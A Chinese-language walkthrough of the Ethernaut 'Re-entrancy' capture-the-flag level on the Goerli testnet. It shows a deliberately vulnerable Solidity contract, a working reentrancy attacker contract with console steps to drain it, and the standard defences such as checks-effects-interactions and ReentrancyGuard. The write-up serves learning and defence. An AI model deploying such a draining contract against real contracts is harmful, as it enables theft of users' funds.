10. Re-entrancy

Chain: Goerli
Difficulty: ●●●○○
Level: https://ethernaut.openzeppelin.com/level/0x573eAaf1C1c2521e671534FAA525fAAf0894eCEb

要求

这一关的目标是偷走合约的所有资产.

这些可能有帮助:

  • 不可信的合约可以在你意料之外的地方执行代码.
  • Fallback methods
  • 抛出/恢复 bubbling
  • 有的时候攻击一个合约的最好方式是使用另一个合约.
  • 查看上方帮助页面, “控制台之外” 部分

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

分析合约代码,关键点在于 withdraw 函数中:

1
(bool result,) = msg.sender.call{value:_amount}("");

这里犯了常见的错误:未考虑调用者为另一个合约的情况。如果该合约在 fallback() 中调用相同的函数就会发生 Re-entrancy attack。

解题

  1. 首先打开Console,获取当前关卡合约实例地址 instance

  2. 打开 Remix IDE,创建文件 10_Re-entrancy.sol,粘贴以下代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.4;

    interface IReentrance {
    function withdraw(uint256 _amount) external;
    }

    contract HackReentrance {
    address levelInstance;

    constructor(address _levelInstance) {
    levelInstance = _levelInstance;
    }

    function claim(uint256 _amount) public {
    IReentrance(levelInstance).withdraw(_amount);
    }

    fallback() external payable {
    IReentrance(levelInstance).withdraw(msg.value);
    }

    receive() external payable {
    IReentrance(levelInstance).withdraw(msg.value);
    }
    }
  3. 在constructor 填入当前关卡合约实例地址后部署。

  4. 为了保证被攻击合约余额能取空,查看被攻击合约余额 await getBalance(instance)

  5. 调用 donate 函数将ETH存入被攻击合约,在 Console 里执行:

    1
    await contract.donate("刚部署的攻击合约地址", {value: 被攻击合约余额})
  6. 回到 Remix IDE,再调用 claim 函数:

    • value 填入调用 donate 函数的值
  7. 完成关卡。

后记

Re-entrancy attack 是一种最常见的攻击。这里 就介绍了 UniSwap 在V1 时如何受到 Re-entrancy attack。

要防止 Re-entrancy attack,最简单的办法是使用使用OpenZeppelinReentrancyGuard

S01. 重入攻击 | WTF学院

为了防止转移资产时的重入攻击, 使用 Checks-Effects-Interactions pattern 注意 call 只会返回 false 而不中断执行流. 其它方案比如 ReentrancyGuard 或 PullPayment 也可以使用.

transfer 和 send 不再被推荐使用, 因为他们在 Istanbul 硬分叉之后可能破坏合约 Source 1 Source 2.

总是假设资产的接受方可能是另一个合约, 而不是一个普通的地址. 因此, 他有可能执行了他的payable fallback 之后又“重新进入” 你的合约, 这可能会打乱你的状态或是逻辑.

重进入是一种常见的攻击. 你得随时准备好!

The DAO Hack

著名的DAO hack 使用了重进入攻击, 窃取了受害者大量的 ether. 参见 15 lines of code that could have prevented TheDAO Hack.